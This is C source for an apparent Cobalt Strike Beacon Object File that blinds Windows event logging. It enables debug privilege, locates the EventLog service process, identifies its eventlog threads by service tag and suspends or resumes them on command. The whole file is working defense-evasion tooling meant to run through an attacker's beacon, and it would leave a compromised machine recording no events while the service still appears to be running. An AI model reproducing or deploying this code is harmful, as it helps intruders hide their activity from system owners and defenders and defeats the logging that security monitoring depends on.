#include <windows.h>  
#include <Strsafe.h>
#include <tlhelp32.h>  
#include "blindeventlog.h"
#include "beacon.h"
#pragma comment(lib,"Advapi32.lib")
#pragma comment(lib,"shell32.lib")


//START TrustedSec BOF print code: https://github.com/trustedsec/CS-Situational-Awareness-BOF/blob/master/src/common/base.c
#ifndef bufsize
#define bufsize 8192
#endif
char *output = 0;  
WORD currentoutsize = 0;
HANDLE trash = NULL; 
int bofstart();
void internal_printf(const char* format, ...);
void printoutput(BOOL done);

int bofstart() {   
    output = (char*)MSVCRT$calloc(bufsize, 1);
    currentoutsize = 0;
    return 1;
}

void internal_printf(const char* format, ...){
    int buffersize = 0;
    int transfersize = 0;
    char * curloc = NULL;
    char* intBuffer = NULL;
    va_list args;
    va_start(args, format);
    buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); 
    va_end(args);
    
    if (buffersize == -1) return;
    
    char* transferBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, bufsize);
	intBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, buffersize);
    va_start(args, format);
    MSVCRT$vsnprintf(intBuffer, buffersize, format, args); 
    va_end(args);
    if(buffersize + currentoutsize < bufsize) 
    {
        MSVCRT$memcpy(output+currentoutsize, intBuffer, buffersize);
        currentoutsize += buffersize;
    } else {
        curloc = intBuffer;
        while(buffersize > 0)
        {
            transfersize = bufsize - currentoutsize;
            if(buffersize < transfersize) 
            {
                transfersize = buffersize;
            }
            MSVCRT$memcpy(output+currentoutsize, curloc, transfersize);
            currentoutsize += transfersize;
            if(currentoutsize == bufsize)
            {
                printoutput(FALSE); 
            }
            MSVCRT$memset(transferBuffer, 0, transfersize); 
            curloc += transfersize; 
            buffersize -= transfersize;
        }
    }
	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, intBuffer);
	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, transferBuffer);
}

void printoutput(BOOL done) {
    char * msg = NULL;
    BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize);
    currentoutsize = 0;
    MSVCRT$memset(output, 0, bufsize);
    if(done) {MSVCRT$free(output); output=NULL;}
}
//END TrustedSec BOF print code.




BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) {
	HANDLE hToken;
    TOKEN_PRIVILEGES tp;
    LUID luid;

	if (!Advapi32$OpenProcessToken(KERNEL32$GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) return FALSE;
    if (!Advapi32$LookupPrivilegeValueA(NULL, lpszPrivilege, &luid)) return FALSE; 

    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    if (bEnablePrivilege)
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    else
        tp.Privileges[0].Attributes = 0;

    if (!Advapi32$AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES) NULL, (PDWORD) NULL) ) return FALSE; 
    if (KERNEL32$GetLastError() == ERROR_NOT_ALL_ASSIGNED) return FALSE;

    return TRUE;
}


BOOL Eventlog(int action) {
	SERVICE_STATUS_PROCESS svcStatus;
	svcStatus.dwServiceType = 0;
	svcStatus.dwCurrentState = 0;
	svcStatus.dwControlsAccepted = 0;
	svcStatus.dwWin32ExitCode = 0;
	svcStatus.dwServiceSpecificExitCode = 0;
	svcStatus.dwCheckPoint = 0;
	svcStatus.dwWaitHint = 0;
	svcStatus.dwProcessId = 0;
	svcStatus.dwServiceFlags = 0;
	
	DWORD bytesNeeded = 0;
	HANDLE hSvcProc = NULL;
	HANDLE hThreadSnap = INVALID_HANDLE_VALUE;
	THREADENTRY32 te32;
	THREAD_BASIC_INFORMATION threadBasicInfo;
	PVOID subProcessTag = NULL;
	BOOL bIsWoW64 = FALSE;
	DWORD dwOffset = NULL;
	BOOL result = FALSE;
	
	NtQueryInformationThread_t pNtQueryInformationThread = (NtQueryInformationThread_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryInformationThread");
	I_QueryTagInformation_t pI_QueryTagInformation = (I_QueryTagInformation_t) GetProcAddress(GetModuleHandle("advapi32.dll"), "I_QueryTagInformation");
	
	SC_HANDLE sc = Advapi32$OpenSCManagerA(".", NULL, MAXIMUM_ALLOWED);
	SC_HANDLE svc = Advapi32$OpenServiceA(sc, "EventLog", MAXIMUM_ALLOWED);

	Advapi32$QueryServiceStatusEx(svc, SC_STATUS_PROCESS_INFO, (LPBYTE) &svcStatus, sizeof(svcStatus), &bytesNeeded);
	DWORD svcPID = svcStatus.dwProcessId;
	
	hSvcProc = KERNEL32$OpenProcess(PROCESS_VM_READ, FALSE, svcPID);
	if (hSvcProc == NULL) {
		BeaconPrintf(CALLBACK_ERROR,"Failed to open handle to eventlog process: %d\n", svcPID);
		return result;
	}

	internal_printf("[+] Opened handle to eventlog process: %d\n", svcPID);

	hThreadSnap = KERNEL32$CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
	if (hThreadSnap == INVALID_HANDLE_VALUE) return result;
	te32.dwSize = sizeof(THREADENTRY32);
	
	if (!KERNEL32$Thread32First(hThreadSnap, &te32)) {
		KERNEL32$CloseHandle(hThreadSnap);
		return result;
	}
	
	
	do {
		if (te32.th32OwnerProcessID == svcPID) {

			HANDLE hThread = KERNEL32$OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID);
			if (hThread == NULL) {
				return result;
			}

			NTSTATUS status = pNtQueryInformationThread(hThread, (THREAD_INFORMATION_CLASS) 0, &threadBasicInfo, sizeof(threadBasicInfo), NULL);

			bIsWoW64 = KERNEL32$IsWow64Process(hSvcProc, &bIsWoW64);
			if (!bIsWoW64)
				dwOffset = 0x1720;
			else
				dwOffset = 0xf60;
			
			KERNEL32$ReadProcessMemory(hSvcProc, ((PBYTE)threadBasicInfo.pTebBaseAddress + dwOffset), &subProcessTag, sizeof(subProcessTag), NULL);

			if (!subProcessTag) {
				KERNEL32$CloseHandle(hThread);
				continue;
			}	
				
			SC_SERVICE_TAG_QUERY query = { 0 };
			
			if (pI_QueryTagInformation)	{
				query.processId = (ULONG) svcPID;
				query.serviceTag = (ULONG) subProcessTag;
				query.reserved = 0;
				query.pBuffer = NULL;
				
				pI_QueryTagInformation(NULL, ServiceNameFromTagInformation, &query);

				if (MSVCRT$_wcsicmp((wchar_t *) query.pBuffer, L"eventlog") == 0) {
					if(action == 1 && KERNEL32$SuspendThread(hThread) != -1) {
						internal_printf("\t- Suspended Eventlog thread: %d\n", te32.th32ThreadID);
						result = TRUE;
					}
					else if (action == 2 && KERNEL32$ResumeThread(hThread) != -1) {
						internal_printf("\t- Resumed Eventlog thread: %d\n", te32.th32ThreadID);
						result = TRUE;
					}
					else {
						internal_printf("\t- [!] Failed to change the state of the Eventlog thread: %d\n", te32.th32ThreadID);
						result = FALSE;
					}
				}
			}
			KERNEL32$CloseHandle(hThread);
		}
	} while (KERNEL32$Thread32Next(hThreadSnap, &te32));

	KERNEL32$CloseHandle(hThreadSnap);
	KERNEL32$CloseHandle(hSvcProc);

    return result;
}


int go(char *args, int len) {
	BOOL res = NULL;
	CHAR *action;
	datap parser;
	
	BeaconDataParse(&parser, args, len);
	action = BeaconDataExtract(&parser, NULL);
	if(!bofstart()) return;

	if (!SetPrivilege(SE_DEBUG_NAME, ENABLE)) {
		BeaconPrintf(CALLBACK_ERROR, "Not enough privileges to interact with Eventlog.\n");
		return 0;
	}
	if (MSVCRT$strcmp(action, "suspend") == 0) {
		res = Eventlog(1);
	}
	else if (MSVCRT$strcmp(action, "resume") == 0) {
		res = Eventlog(2);
	}
	else {
		BeaconPrintf(CALLBACK_ERROR, "Please specify one of the following options: suspend | resume\n");
		return 0;
	}
	
	if(!res) BeaconPrintf(CALLBACK_ERROR, "Failed to blind Eventlog!\n");
	else  {
		printoutput(TRUE);
		//BeaconPrintf(CALLBACK_OUTPUT, "[+] Done");
	}
	
	return 0;
}